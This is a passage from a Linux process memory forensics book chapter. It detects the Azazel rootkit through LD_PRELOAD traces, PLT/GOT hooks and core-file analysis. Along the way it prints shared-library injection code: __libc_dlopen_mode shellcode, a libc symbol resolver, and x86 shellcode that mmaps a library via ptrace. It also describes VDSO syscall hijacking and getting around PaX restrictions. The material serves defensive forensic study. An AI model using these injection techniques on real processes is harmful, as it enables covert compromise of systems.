300360d000-300360e000 rw-p 0000d000 08:01 11406085    /lib/x86_64-linux-gnu/libpam.so.0.83.1

7fc30ac7f000-7fc30ac81000 r-xp 00000000 08:01 11406070 /lib/x86_64-linux-gnu/libutil-2.19.so

7fc30ac81000-7fc30ae80000 ---p 00002000 08:01 11406070 /lib/x86_64-linux-gnu/libutil-2.19.so

7fc30ae80000-7fc30ae81000 r--p 00001000 08:01 11406070 /lib/x86_64-linux-gnu/libutil-2.19.so

7fc30ae81000-7fc30ae82000 rw-p 00002000 08:01 11406070 /lib/x86_64-linux-gnu/libutil-2.19.so

7fc30ae82000-7fc30ae85000 r-xp 00000000 08:01 11406068 /lib/x86_64-linux-gnu/libdl-2.19.so

7fc30ae85000-7fc30b084000 ---p 00003000 08:01 11406068 /lib/x86_64-linux-gnu/libdl-2.19.so

7fc30b084000-7fc30b085000 r--p 00002000 08:01 11406068 /lib/x86_64-linux-gnu/libdl-2.19.so

7fc30b085000-7fc30b086000 rw-p 00003000 08:01 11406068 /lib/x86_64-linux-gnu/libdl-2.19.so

7fc30b086000-7fc30b241000 r-xp 00000000 08:01 11406096 /lib/x86_64-linux-gnu/libc-2.19.so

7fc30b241000-7fc30b440000 ---p 001bb000 08:01 11406096 /lib/x86_64-linux-gnu/libc-2.19.so

7fc30b440000-7fc30b444000 r--p 001ba000 08:01 11406096 /lib/x86_64-linux-gnu/libc-2.19.so

7fc30b444000-7fc30b446000 rw-p 001be000 08:01 11406096 /lib/x86_64-linux-gnu/libc-2.19.so

7fc30b446000-7fc30b44b000 rw-p 00000000 00:00 0

7fc30b44b000-7fc30b453000 r-xp 00000000 00:24 5553672   /home/user/git/azazel/libselinux.so

7fc30b453000-7fc30b652000 ---p 00008000 00:24 5553672   /home/user/git/azazel/libselinux.so

7fc30b652000-7fc30b653000 r--p 00007000 00:24 5553672   /home/user/git/azazel/libselinux.so

7fc30b653000-7fc30b654000 rw-p 00008000 00:24 5553672   /home/user/git/azazel/libselinux.so

7fc30b654000-7fc30b677000 r-xp 00000000 08:01 11406093    /lib/x86_64-linux-gnu/ld-2.19.so

7fc30b847000-7fc30b84c000 rw-p 00000000 00:00 0

7fc30b873000-7fc30b876000 rw-p 00000000 00:00 0

7fc30b876000-7fc30b877000 r--p 00022000 08:01 11406093   /lib/x86_64-linux-gnu/ld-2.19.so

7fc30b877000-7fc30b878000 rw-p 00023000 08:01 11406093   /lib/x86_64-linux-gnu/ld-2.19.so

7fc30b878000-7fc30b879000 rw-p 00000000 00:00 0

7fff82fae000-7fff82fcf000 rw-p 00000000 00:00 0          [stack]

7fff82ffb000-7fff82ffd000 r-xp 00000000 00:00 0          [vdso]

ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0  [vsyscall]

The areas of interest and concern are highlighted in the preceding output of the  
maps file for the process of ./host. In particular, notice the shared library with the  
/home/user/git/azazel/libselinux.so path. This should immediately grab your 
attention because the path is not the standard shared library path and it has the name 
libselinux.so, which is traditionally stored with all other shared libraries (that is,  
/usr/lib).
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This could indicate possible shared library injection (also known as the ET_DYN 
injection), which would mean that this is not the authentic libselinux.so library. 
The first thing that we might check for in this case is the LD_PRELOAD environment 
variable to see whether it was used to preload the libselinux.so library.

Finding LD_PRELOAD on the stack
The environment variables for a program are stored near the bottom of the stack at 
the beginning of a program's runtime. The bottom of the stack is actually the highest 
address (the beginning of the stack), since the stack grows into smaller addresses on 
the x86 architecture. Based on the output from /proc/<pid>/maps, we can get the 
location of the stack:

STACK_TOP           STACK_BOTTOM
7fff82fae000   -    7fff82fcf000

So, we want to check the stack from 0x7fff82fcf000 onward. Using GDB, we can 
attach to the process and quickly locate the environment variables on the stack by 
using the x/s <address> command, which tells GDB to view the memory in ASCII 
format. The x/4096s <address> command does the same thing but reads from 4,096 
bytes of data.

We can safely presume that the environment variables will be in the first 4,096 bytes 
of the stack, but since the stack grows into lower addresses, we must start reading at 
<stack_bottom> - 4096.

The argv and envp pointers point to command-line arguments and 
environment variables respectively. We are not looking for the actual 
pointers but rather the strings that these pointers reference.

Here's an example of using GDB to read environment variables on a stack:

$ gdb -q attach `pidof host`

$ x/4096s (0x7fff82fcf000 – 4096)

… scroll down a few pages …

0x7fff82fce359:  "./host"

0x7fff82fce360:  "LD_PRELOAD=./libselinux.so"

0x7fff82fce37b:  "XDG_VTNR=7"

---Type <return> to continue, or q <return> to quit---

0x7fff82fce386:  "XDG_SESSION_ID=c2"
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0x7fff82fce398:  "CLUTTER_IM_MODULE=xim"

0x7fff82fce3ae:  "SELINUX_INIT=YES"

0x7fff82fce3bf:  "SESSION=ubuntu"

0x7fff82fce3ce:  "GPG_AGENT_INFO=/run/user/1000/keyring-jIVrX2/gpg:0:1"

0x7fff82fce403:  "TERM=xterm"

0x7fff82fce40e:  "SHELL=/bin/bash"

… truncated …

As we can see from the preceding output, we have verified that LD_PRELOAD  
was used to preload libselinux.so into the process. This means that any glibc 
functions within the program that have the same name as any functions in the 
preloaded shared library will be overridden and effectively hijacked by the ones  
in libselinux.so.

In other words, if the ./host program calls the fopen function from glibc and 
libselinux.so contains its own version of fopen, then that is the fopen function 
that will be stored in the PLT/GOT (the .got.plt section) and used instead of the 
glibc version. This leads us to the next indicated item—detecting function hijacking 
in the PLT/GOT (the PLT's global offset table).

Detecting PLT/GOT hooks
Before checking the PLT/GOT that is in the ELF section called .got.plt (which is in 
the data segment of the executable), let's see which functions in the ./host program 
have relocations for the PLT/GOT. Remember from the chapter on ELF internals that 
the relocation entries for the global offset table are of the <ARCH>_JUMP_SLOT type. 
Refer to the ELF(5) manual for details.

The relocation type for the PLT/GOT is called <ARCH>_JUMP_SLOT 
because they are just that—jump slots. They contain function pointers that 
the PLT uses with jmp instructions to transfer control to the destination 
function. The actual relocation types are named X86_64_JUMP_SLOT, 
i386_JUMP_SLOT, and so on depending on the architecture.

Here's an example of identifying shared library functions:

$ readelf -r host

Relocation section '.rela.plt' at offset 0x418 contains 7 entries:

000000601018  000100000007 R_X86_64_JUMP_SLO 0000000000000000 unlink + 0

000000601020  000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts + 0
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000000601028  000300000007 R_X86_64_JUMP_SLO 0000000000000000 opendir + 0

000000601030  000400000007 R_X86_64_JUMP_SLO 0000000000000000 __libc_
start_main+0

000000601038  000500000007 R_X86_64_JUMP_SLO 0000000000000000 __gmon_
start__+0

000000601040  000600000007 R_X86_64_JUMP_SLO 0000000000000000 pause + 0

000000601048  000700000007 R_X86_64_JUMP_SLO 0000000000000000 fopen + 0

We can see that there are several well-known glibc functions being called. It is 
possible that some or all of these are being hijacked by the imposture shared  
library libselinux.so.

Identifying incorrect GOT addresses
From the readelf output that displays the PLT/GOT entries in the ./host 
executable, we can see the address of each symbol. Let's take a look at the global 
offset table in the memory for the following symbols: fopen, opendir, and unlink. It 
is possible that these have been hijacked and no longer point to the libc.so library.

Here's an example of the GDB output displaying the GOT values:

(gdb) x/gx 0x601048

0x601048 <fopen@got.plt>:  0x00007fc30b44e609

(gdb) x/gx 0x601018

0x601018 <unlink@got.plt>:  0x00007fc30b44ec81

(gdb) x/gx 0x601028

0x601028 <opendir@got.plt>:  0x00007fc30b44ed77

A quick look at the executable memory region of the selinux.so shared library 
shows us that the addresses displayed in the GOT by GDB point to functions  
within selinux.so and not libc.so:

7fc30b44b000-7fc30b453000 r-xp  /home/user/git/azazel/libselinux.so

With this particular malware (Azazel), the malicious shared library was preloaded 
using LD_PRELOAD, which made verifying the library as suspicious an easy task. 
This is not always the case, as many forms of malware will inject the shared library 
via ptrace() or shellcode that uses either mmap() or __libc_dlopen_mode(). The 
heuristics for determining whether or not a shared library has been injected will  
be detailed in the next section.
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As we will see in the following chapter, the ECFS technology for process 
memory forensics has some features that make identifying injected DLLs 
and other types of ELF objects almost simple.

ET_DYN injection internals
As we just demonstrated, detecting shared libraries that have been preloaded 
with LD_PRELOAD is rather simple. What about shared libraries that were injected 
into a remote process? Or in other words, shared objects that were inserted into a 
pre-existing process? It is important to know whether or not a shared library was 
maliciously injected if we want to be able to take the next step and detect PLT/GOT 
hooks. First, we must identify all the ways in which a shared library can be injected 
into a remote process, as we briefly discussed in section 7.2.2.

Let's look at a concrete example of how this might be accomplished. Here is some 
example code from Saruman that injects PIE executables into a process.

PIE executables are in the same format as shared libraries, so the same 
code will work for the injection of either type into a process.

Using the readelf utility, we can see that in the standard C library (libc.so.6), 
there exists a function named __libc_dlopen_mode. This function actually 
accomplishes the same thing as the dlopen function, which is not resident in libc. 
This means that with any process that uses libc, we can get the dynamic linker to 
load whatever ET_DYN object we want to, while also automatically handling all the 
relocation patches.

Example – finding the symbol  
for __libc_dlopen_mode
It is rather common for attackers to use this function to load ET_DYN objects into  
a process:

$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep dlopen

  2128: 0000000000136160   146 FUNC    GLOBAL DEFAULT   12 __libc_dlopen_
mode@@GLIBC_PRIVATE
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Code example – the __libc_dlopen_mode shellcode
The following code is in C, but when compiled into machine code, it can be used as 
shellcode that we inject into the process using ptrace:

#define __RTLD_DLOPEN 0x80000000 //glibc internal dlopen flag  
emulates dlopen behaviour
__PAYLOAD_KEYWORDS__ void * dlopen_load_exec(const char *path,  
void *dlopen_addr)
{
        void * (*libc_dlopen_mode)(const char *, int) =  
        dlopen_addr;
        void *handle = (void *)0xfff; //initialized for debugging
        handle = libc_dlopen_mode(path,  
        __RTLD_DLOPEN|RTLD_NOW|RTLD_GLOBAL);
        __RETURN_VALUE__(handle);
        __BREAKPOINT__;
}

Notice that one of the arguments is void *dlopen_addr. Saruman locates the 
address to the __libc_dlopen_mode() function, which resides in libc.so. This is 
accomplished using a function for resolving symbols within the libc library.

Code example – libc symbol resolution
There are many more details to the following code, and I would highly encourage 
you to check out Saruman. It is specifically for injecting executable programs that are 
compiled as ET_DYN objects, but as mentioned previously, the injection method will 
also work for shared libraries since they are also compiled as ET_DYN objects:

Elf64_Addr get_sym_from_libc(handle_t *h, const char *name)
{
        int fd, i;
        struct stat st;
        Elf64_Addr libc_base_addr = get_libc_addr(h->tasks.pid);
        Elf64_Addr symaddr;
        
        if ((fd = open(globals.libc_path, O_RDONLY)) < 0) {
                perror("open libc");
                exit(-1);
        }
        
        if (fstat(fd, &st) < 0) {
                perror("fstat libc");
                exit(-1);
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        }
        
        uint8_t *libcp = mmap(NULL, st.st_size, PROT_READ,  
        MAP_PRIVATE, fd, 0);
        if (libcp == MAP_FAILED) {
                perror("mmap libc");
                exit(-1);
        }
        
        symaddr = resolve_symbol((char *)name, libcp);
        if (symaddr == 0) {
                printf("[!] resolve_symbol failed for symbol  
                '%s'\n", name);
                printf("Try using --manual-elf-loading option\n");
                exit(-1);
        }
        symaddr = symaddr + globals.libc_addr;

        DBG_MSG("[DEBUG]-> get_sym_from_libc() addr of __libc_dl_*: 
%lx\n", symaddr);
        return symaddr;

}

To further demystify shared library injection, let me show you a much simpler 
technique that uses ptrace injected shellcode to open()/mmap() the shared library 
into the process address space. This technique is fine to use, but it requires that 
the malware manually handle all of the hot patching of relocations. The __libc_
dlopen_mode() function handles all of this transparently with the help of the 
dynamic linker itself, so it is actually easier in the long run.

Code example – the x86_32 shellcode to mmap() an 
ET_DYN object
The following shellcode can be injected into an executable segment within a given 
process and then be executed using ptrace.

Note that this is the second time I've used this hand-written shellcode as an example 
in the book. I wrote it in 2008 for a 32-bit Linux system, and it was convenient to 
use as an example. Otherwise, I'm sure I would have written something new to 
demonstrate a more modern approach in x86_64 Linux:

_start:
        jmp B
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A:

        # fd = open("libtest.so.1.0", O_RDONLY);

        xorl %ecx, %ecx
        movb $5, %al
        popl %ebx
        xorl %ecx, %ecx
        int $0x80

        subl $24, %esp

        # mmap(0, 8192, PROT_READ|PROT_WRITE|PROT_EXEC,  
        MAP_SHARED, fd, 0);

        xorl %edx, %edx
        movl %edx, (%esp)
        movl $8192,4(%esp)
        movl $7, 8(%esp)
        movl $2, 12(%esp)
        movl %eax,16(%esp)
        movl %edx, 20(%esp)
        movl $90, %eax
        movl %esp, %ebx
        int $0x80

        # the int3 will pass control back the tracer
        int3
B:
        call A
        .string "/lib/libtest.so.1.0"

With PTRACE_POKETEXT to inject it and PTRACE_SETREGS to set %eip to the entry 
point of the shellcode, once the shellcode hits the int3 instruction, it will effectively 
pass the control back to your program that is performing the infection. This can then 
simply detach from the host process that is now infected with the shared library  
(/lib/libtest.so.1.0).
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In some cases, such as on binaries that have PaX mprotect restrictions enabled 
(https://pax.grsecurity.net/docs/mprotect.txt), the ptrace system call 
cannot be used to inject shellcode into the text segment. This is because it is read-
only, and the restrictions will also prevent marking the text segment writeable, so 
you cannot simply get around this. However, this can be circumvented in several 
ways, such as by setting the instruction pointer to __libc_dlopen_mode and 
storing the arguments to the function in registers (such as %rdi, %rsi, and so on). 
Alternatively, in the case of a 32-bit architecture, the arguments can be stored on  
the stack.

Another way is by manipulating the VDSO code that is present in most processes.

Manipulating VDSO to perform dirty work
This technique is one that is demonstrated at http://vxheaven.org/lib/vrn00.
html, but the general idea is simple. The VDSO code that is mapped to the process 
address space, as seen in the /proc/<pid>/maps output earlier in this chapter, 
contains code that invokes system calls via the syscall (for 64-bit) and sysenter  
(for 32-bit) instructions. The calling convention for system calls in Linux always 
places the system call number in the %eax/%rax register.

If an attacker uses ptrace(PTRACE_SYSCALL, …), they can quickly locate the  
syscall instruction in the VDSO code and replace the register values to invoke 
whichever system call is desired. If this is done carefully and done while restoring 
the original system call that was executing, then it will not cause the application to 
crash. The open and mmap system calls can be used to load an executable object such 
as ET_DYN or ET_REL into the process address space. Alternatively, they can be used 
to simply create an anonymous memory mapping that can store shellcode.

This is a code example in which the attacker takes advantage of this code on  
a 32-bit system:

fffe420 <__kernel_vsyscall>:
ffffe420:       51                      push   %ecx
ffffe421:       52                      push   %edx
ffffe422:       55                      push   %ebp
ffffe423:       89 e5                   mov    %esp,%ebp
ffffe425:       0f 34                   sysenter

On a 64-bit system, the VDSO contains at least two locations where the 
syscall instruction is used. The attacker can manipulate either of these.

https://pax.grsecurity.net/docs/mprotect.txt
http://vxheaven.org/lib/vrn00.html
http://vxheaven.org/lib/vrn00.html
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The following is a code example in which the attacker takes advantage of this code 
on a 64-bit system:

ffffffffff700db8:       b0 60                   mov    $0x60,%al
ffffffffff700dba:       0f 05                   syscall

Shared object loading – legitimate or not?
The dynamic linker is the only legitimate way to bring a shared library into a 
process. Remember, however, that an attacker can use the __libc_dlopen_mode 
function, which invokes the dynamic linker to load an object. So how do we tell 
when the dynamic linker is doing legitimate work? There are three legitimate ways 
in which a shared object is mapped to a process by the dynamic linker.

Legitimate shared object loading
Let's look at what we consider legitimate shared object loading:

• There is a valid DT_NEEDED entry in the executable program that corresponds 
to the shared library file.

• The shared libraries that are validly loaded by the dynamic linker may in 
turn have their own DT_NEEDED entries in order to load other shared libraries. 
This can be called transitive shared library loading.

• If a program is linked with libdl.so, then it may use the dynamic loading 
functions to load libraries on the fly. The function for loading shared objects 
is named dlopen, and the function for resolving symbols is named dlsym.

As we have previously discussed, the LD_PRELOAD environment variable 
also invokes the dynamic linker, but this method is in a gray area as it is 
commonly used for both legitimate and illegitimate purposes. Therefore, 
it was not included in the list of legitimate shared object loading.

Illegitimate shared object loading
Now, let's take a look at the illegitimate ways in which a shared object can be loaded 
into a process, that is to say, by an attacker or a malware instance:

• The __libc_dlopen_mode function exists within libc.so (not libdl.so) 
and is not intended to be called by a program. It is actually marked as  
a GLIBC PRIVATE function. Most processes have libc.so, and this is 
therefore a function commonly used by attackers or malware to load 
arbitrary shared objects.
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• VDSO manipulation. As we have already demonstrated, this technique  
can be used to execute arbitrary syscalls, and therefore it can be simple  
to memory-map a shared object with this method.

• Shellcode that directly invokes the open and mmap system calls.
• The DT_NEEDED entries can be added by an attacker by overwriting the  

DT_NULL tag in the dynamic segment of an executable or shared library,  
thus being able to tell the dynamic linker to load whatever shared object they 
wish. This particular method was discussed in Chapter 6, ELF Binary Forensics 
in Linux, and it falls more into the topic of that chapter, but it may also be 
necessary when inspecting a suspicious process.

Be sure to inspect the binary of a suspicious process, and verify that the 
dynamic segment doesn't appear suspicious. Refer to the Checking the 
dynamic segment for DLL injection traces section of Chapter 6, ELF Binary 
Forensics in Linux.

Now that we have a clear definition of legitimate versus illegitimate loading of 
shared objects, we can get into the discussion of heuristics for detecting when a 
shared library is legitimate or not.

Beforehand, it is worth noting again that LD_PRELOAD is commonly used for good 
as well as bad purposes, and the only sure-fire way of knowing this is by inspecting 
what the actual code that resides in the preloaded shared object does. Therefore, we 
will leave LD_PRELOAD out of the discussion on heuristics here.

Heuristics for .so injection detection
In this section, I will describe the general principles behind detecting whether a 
shared library is legitimate or not. In Chapter 8, ECFS – Extended Core File Snapshot 
Technology, we will be discussing the ECFS technology, which actually incorporates 
these heuristics into its feature set.
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For now, let's look at the principles only. We want to get a list of the shared  
libraries that are mapped to the process and then see which ones qualify for  
being legitimately loaded by the dynamic linker:

1. Get a list of shared object paths from the /proc/<pid>/maps file.

Some maliciously injected shared libraries won't appear as file 
mappings because the attacker created anonymous memory 
mappings and then memcpy'd the shared object code into those 
memory regions. In the next chapter, we will see that ECFS can 
weed these more stealthy entities out as well. A scan can be 
done of each executable memory region that is anonymously 
mapped to see whether ELF headers exist, particularly those 
with the ET_DYN file type.

2. Determine whether or not a valid DT_NEEDED entry exists in the executable 
that corresponds to the shared library you are seeing. If one exists, then it  
is a legitimate shared library. After you have verified that a given shared 
library is legitimate, check that shared library's dynamic segment and 
enumerate the DT_NEEDED entries within it. Those corresponding shared 
libraries can also be marked as legitimate. This goes back to the concept  
of transitive shared object loading.

3. Look at the PLT/GOT of the process's actual executable program. If there 
are any dlopen calls being used, then analyze the code to find any calls to 
dlopen. The dlopen calls may be passed arguments that can be inspected 
statically, like this for instance:
void *handle = dlopen("somelib.so", RTLD_NOW);

In such cases, the string will be stored as a static constant and will therefore 
be in the .rodata section of the binary. So, check whether the .rodata 
section (or wherever the string is stored) contains any strings that contain  
the shared library path you are trying to validate.

4. If any of the shared object paths found in the maps file cannot be found or 
accounted for by a DT_NEEDED section and cannot be accounted for by any 
dlopen calls either, then that means it was either preloaded by LD_PRELOAD 
or injected by some other means. At this point, you should qualify the shared 
object as suspicious.
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Tools for detecting PLT/GOT hooks
Currently, there are not many great tools that are specifically for process memory 
analysis in Linux. This is the reason that I designed ECFS (discussed in Chapter 8, 
ECFS – Extended Core File Snapshot Technology). There are only a few tools I know of 
that can detect PLT/GOT overwrites, and each one of them essentially uses the same 
heuristics that we just discussed:

• Linux VMA Voodoo: This tool is a prototype that I designed through the 
DARPA CFT program in 2011. It is capable of detecting many types of 
process memory infections, but currently only works on 32-bit systems and 
is not available to the public. However, the new ECFS utility is open source, 
which was inspired by VMA Voodoo. You may read about VMA Voodoo at 
http://www.bitlackeys.org/#vmavudu.

• ECFS (Extended core file snapshot) technology: This technology was 
originally designed to work as a native snapshot format for process memory 
forensics tools in Linux. It has evolved into something even more than  
that and has an entire chapter dedicated to it (Chapter 8, ECFS – Extended 
Core File Snapshot Technology). It can be found at https://github.com/
elfmaster/ecfs.

• Volatility plt_hook: The Volatility software is primarily geared towards full 
system memory analysis, but Georg Wicherski designed a plugin in 2013 that 
is specifically for detecting PLT/GOT infections within a process. This plugin 
uses heuristics similar to those that we previously discussed. This feature 
has now merged with the Volatility source code at https://github.com/
volatilityfoundation/volatility.

Linux ELF core files
In most UNIX flavored OSes, a process can be delivered a signal so that it dumps a 
core file. A core file is essentially a snapshot of the process and its state right before  
it cored (crashed or dumped). A core file is a type of ELF file that is primarily made 
up of program headers and memory segments. They also contain a fair amount of 
notes in the PT_NOTE segment that describe file mappings, shared library paths,  
and other information.

A core file by itself is not especially useful for process memory forensics, but it may 
yield some results to the more astute analyst.

This is actually where ECFS comes into the picture; it is an extension 
of the regular Linux ELF core format and provides features that are 
specifically for forensic analysis.

http://www.bitlackeys.org/#vmavudu
https://github.com/elfmaster/ecfs
https://github.com/elfmaster/ecfs
https://github.com/volatilityfoundation/volatility
https://github.com/volatilityfoundation/volatility
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Analysis of the core file – the Azazel rootkit
Here, we will infect a process with the azazel rootkit using the LD_PRELOAD 
environment variable, and then deliver an abort signal to the process so that  
we can capture a core dump for analysis.

Starting up an Azazel infected process and getting 
a core dump
$ LD_PRELOAD=./libselinux.so ./host &

[1] 9325

$ kill -ABRT `pidof host`

[1]+  Segmentation fault      (core dumped) LD_PRELOAD=./libselinux.so ./
host

Core file program headers
In a core file, there are many program headers. All of them except one are of the 
PT_LOAD type. There is a PT_LOAD program header for every single memory segment 
in the process, with the exception of special devices (that is /dev/mem). Everything 
from shared libraries and anonymous mappings to the stack, the heap, text, and data 
segments is represented by a program header.

Then, there is one program header of the PT_NOTE type; it contains the most useful 
and descriptive information in the entire core file.

The PT_NOTE segment
The eu-readelf -n output that is shown next shows the parsing of the core file 
notes segment. The reason we used eu-readelf here instead of the regular readelf 
is that eu-readelf (the ELF Utils version) takes time to parse each entry in the notes 
segment, whereas the more commonly used readelf (the binutils version) only 
shows the NT_FILE entry:

$ eu-readelf -n core

Note segment of 4200 bytes at offset 0x900:

  Owner          Data size  Type

  CORE                 336  PRSTATUS

    info.si_signo: 11, info.si_code: 0, info.si_errno: 0, cursig: 11

    sigpend: <>

    sighold: <>
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    pid: 9875, ppid: 7669, pgrp: 9875, sid: 5781

    utime: 5.292000, stime: 0.004000, cutime: 0.000000, cstime: 0.000000

    orig_rax: -1, fpvalid: 1

    r15:                       0  r14:                       0

    r13:         140736185205120  r12:                 4195616

    rbp:      0x00007fffb25380a0  rbx:                       0

    r11:                     582  r10:         140736185204304

    r9:                 15699984  r8:               1886848000

    rax:                      -1  rcx:                    -160

    rdx:         140674792738928  rsi:              4294967295

    rdi:                 4196093  rip:      0x000000000040064f

    rflags:   0x0000000000000286  rsp:      0x00007fffb2538090

    fs.base:   0x00007ff1677a1740  gs.base:   0x0000000000000000

    cs: 0x0033  ss: 0x002b  ds: 0x0000  es: 0x0000  fs: 0x0000  gs: 0x0000

  CORE                 136  PRPSINFO

    state: 0, sname: R, zomb: 0, nice: 0, flag: 0x0000000000406600

    uid: 0, gid: 0, pid: 9875, ppid: 7669, pgrp: 9875, sid: 5781

    fname: host, psargs: ./host

  CORE                 128  SIGINFO

    si_signo: 11, si_errno: 0, si_code: 0

    sender PID: 7669, sender UID: 0

  CORE                 304  AUXV

    SYSINFO_EHDR: 0x7fffb254a000

    HWCAP: 0xbfebfbff  <fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca 
cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe>

    PAGESZ: 4096

    CLKTCK: 100

    PHDR: 0x400040

    PHENT: 56

    PHNUM: 9

    BASE: 0x7ff1675ae000

    FLAGS: 0

    ENTRY: 0x400520

    UID: 0

    EUID: 0

    GID: 0

    EGID: 0

    SECURE: 0

    RANDOM: 0x7fffb2538399

    EXECFN: 0x7fffb2538ff1

    PLATFORM: 0x7fffb25383a9
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    NULL

  CORE                1812  FILE

    30 files:

   00400000-00401000 00000000 4096        /home/user/git/azazel/host

   00600000-00601000 00000000 4096        /home/user/git/azazel/host

   00601000-00602000 00001000 4096        /home/user/git/azazel/host

   3001000000-3001019000 00000000 102400  /lib/x86_64-linux-gnu/libaudit.so.1.0.0

   3001019000-3001218000 00019000 2093056 /lib/x86_64-linux-gnu/libaudit.so.1.0.0

   3001218000-3001219000 00018000 4096    /lib/x86_64-linux-gnu/libaudit.so.1.0.0

   3001219000-300121a000 00019000 4096    /lib/x86_64-linux-gnu/libaudit.so.1.0.0

   3003400000-300340d000 00000000 53248   /lib/x86_64-linux-gnu/libpam.so.0.83.1

   300340d000-300360c000 0000d000 2093056 /lib/x86_64-linux-gnu/libpam.so.0.83.1

   300360c000-300360d000 0000c000 4096    /lib/x86_64-linux-gnu/libpam.so.0.83.1

   300360d000-300360e000 0000d000 4096    /lib/x86_64-linux-gnu/libpam.so.0.83.1

  7ff166bd9000-7ff166bdb000 00000000 8192    /lib/x86_64-linux-gnu/libutil-2.19.so

  7ff166bdb000-7ff166dda000 00002000 2093056 /lib/x86_64-linux-gnu/libutil-2.19.so

  7ff166dda000-7ff166ddb000 00001000 4096    /lib/x86_64-linux-gnu/libutil-2.19.so

  7ff166ddb000-7ff166ddc000 00002000 4096    /lib/x86_64-linux-gnu/libutil-2.19.so

  7ff166ddc000-7ff166ddf000 00000000 12288   /lib/x86_64-linux-gnu/libdl-2.19.so

  7ff166ddf000-7ff166fde000 00003000 2093056 /lib/x86_64-linux-gnu/libdl-2.19.so

  7ff166fde000-7ff166fdf000 00002000 4096    /lib/x86_64-linux-gnu/libdl-2.19.so

  7ff166fdf000-7ff166fe0000 00003000 4096    /lib/x86_64-linux-gnu/libdl-2.19.so

  7ff166fe0000-7ff16719b000 00000000 1814528 /lib/x86_64-linux-gnu/libc-2.19.so

  7ff16719b000-7ff16739a000 001bb000 2093056 /lib/x86_64-linux-gnu/libc-2.19.so

  7ff16739a000-7ff16739e000 001ba000 16384   /lib/x86_64-linux-gnu/libc-2.19.so

  7ff16739e000-7ff1673a0000 001be000 8192    /lib/x86_64-linux-gnu/libc-2.19.so

  7ff1673a5000-7ff1673ad000 00000000 32768   /home/user/git/azazel/libselinux.so

  7ff1673ad000-7ff1675ac000 00008000 2093056 /home/user/git/azazel/libselinux.so

  7ff1675ac000-7ff1675ad000 00007000 4096    /home/user/git/azazel/libselinux.so

  7ff1675ad000-7ff1675ae000 00008000 4096    /home/user/git/azazel/libselinux.so

  7ff1675ae000-7ff1675d1000 00000000 143360 /lib/x86_64-linux-gnu/ld-2.19.so

  7ff1677d0000-7ff1677d1000 00022000 4096   /lib/x86_64-linux-gnu/ld-2.19.so

  7ff1677d1000-7ff1677d2000 00023000 4096   /lib/x86_64-linux-gnu/ld-2.19.so

Being able to view the register state, auxiliary vector, signal information, and file 
mappings is not bad news at all, but they are not enough by themselves to analyze  
a process for malware infection.
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PT_LOAD segments and the downfalls of core files 
for forensics purposes
Each memory segment contains a program header that describes the offset, address, 
and size of the segment it represents. This would almost suggest that you can  
access every part of a process image through the program segments, but this is  
only partially true. The text image of the executable and every shared library that  
is mapped to the process get only the first 4,096 bytes of themselves dumped into  
a segment.

This is for saving space and because the Linux kernel developers figured that the 
text segment will not be modified in memory. So, it suffices to reference the original 
executable file and shared libraries when accessing the text areas from a debugger.  
If a core file were to dump the complete text segment for every shared library, then 
for a large program such as Wireshark or Firefox, the output core dump files would 
be enormous.

So for debugging reasons, it is usually okay to assume that the text segments have 
not changed in memory, and to just reference the executable and shared library files 
themselves to get the text. But what about runtime malware analysis and process 
memory forensics? In many cases, the text segments have been marked as writeable 
and contain polymorphic engines for code mutation, and in these instances, core files 
may be useless for viewing the code segments.

Also, what if the core file is the only artifact available for analysis and the original 
executable and shared libraries are no longer accessible? This further demonstrates 
why core files are not particularly good for process memory forensics; nor were they 
ever meant to be.

In the next chapter, we will see how ECFS addresses many 
of the weaknesses that render core files a useless artifact for 
forensic purposes.

Using a core file with GDB for forensics
Combined with the original executable file, and assuming that no code modifications 
were made (to the text segment), we can still use core files to some avail for malware 
analysis. In this particular case, we are looking at a core file for the Azazel rootkit, 
which—as we demonstrated earlier in this chapter—has PLT/GOT hooks:

$ readelf -S host | grep got.plt

  [23] .got.plt          PROGBITS         0000000000601000  00001000

$ readelf -r host
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Relocation section '.rela.plt' at offset 0x3f8 contains 6 entries:

  Offset          Info           Type           Sym. Value    Sym. Name + 
Addend

000000601018  000100000007 R_X86_64_JUMP_SLO 0000000000000000 unlink + 0

000000601020  000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts + 0

000000601028  000300000007 R_X86_64_JUMP_SLO 0000000000000000 opendir + 0

000000601030  000400000007 R_X86_64_JUMP_SLO 0000000000000000 __libc_
start_main+0

000000601038  000500000007 R_X86_64_JUMP_SLO 0000000000000000 __gmon_
start__ + 0

000000601040  000600000007 R_X86_64_JUMP_SLO 0000000000000000 fopen + 0

So, let's take a look at the function that we already know is hijacked by Azazel. The 
fopen function is one of the four shared library functions in the infected program, 
and as we can see from the preceding output, it has a GOT entry at 0x601040:

$ gdb -q ./host core

Reading symbols from ./host...(no debugging symbols found)...done.

[New LWP 9875]

Core was generated by `./host'.

Program terminated with signal SIGSEGV, Segmentation fault.

#0  0x000000000040064f in main ()

(gdb) x/gx 0x601040

0x601040 <fopen@got.plt>:  0x00007ff1673a8609

(gdb)

If we look again at the NT_FILE entry in the PT_NOTE segment (readelf -n core), 
we can see at what address range the libc-2.19.so file is mapped to the memory, 
and check whether or not the GOT entry for fopen is pointing to libc-2.19.so as  
it should be:

$ readelf -n core

<snippet>

 0x00007ff166fe0000  0x00007ff16719b000  0x0000000000000000

        /lib/x86_64-linux-gnu/libc-2.19.so

</snippet>

The fopen@got.plt points to 0x7ff1673a8609. This is outside of the libc-
2.19.so text segment range displayed previously, which is 0x7ff166fe0000 to 
0x7ff16719b000. Examining a core file with GDB is very similar to examining a 
live process with GDB, and you can use the same method shown next to locate the 
environment variables and check whether LD_PRELOAD has been set.
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Here's an example of locating environment variables in a core file:

(gdb) x/4096s $rsp

… scroll down a few pages …

0x7fffb25388db:  "./host"
0x7fffb25388e2:  "LD_PRELOAD=./libselinux.so"
0x7fffb25388fd:  "SHELL=/bin/bash"
0x7fffb253890d:  "TERM=xterm"
0x7fffb2538918:  "OLDPWD=/home/ryan"
0x7fffb253892a:  "USER=root"

Summary
The art of process memory forensics is a very specific aspect of forensic work.  
It obviously focuses primarily on memory pertaining to a process image, which is 
quite complicated even on its own, as it requires intricate knowledge about CPU 
registers, the stack, dynamic linking, and ELF as a whole.

Therefore, being proficient in inspecting a process for anomalies is truly an art and a 
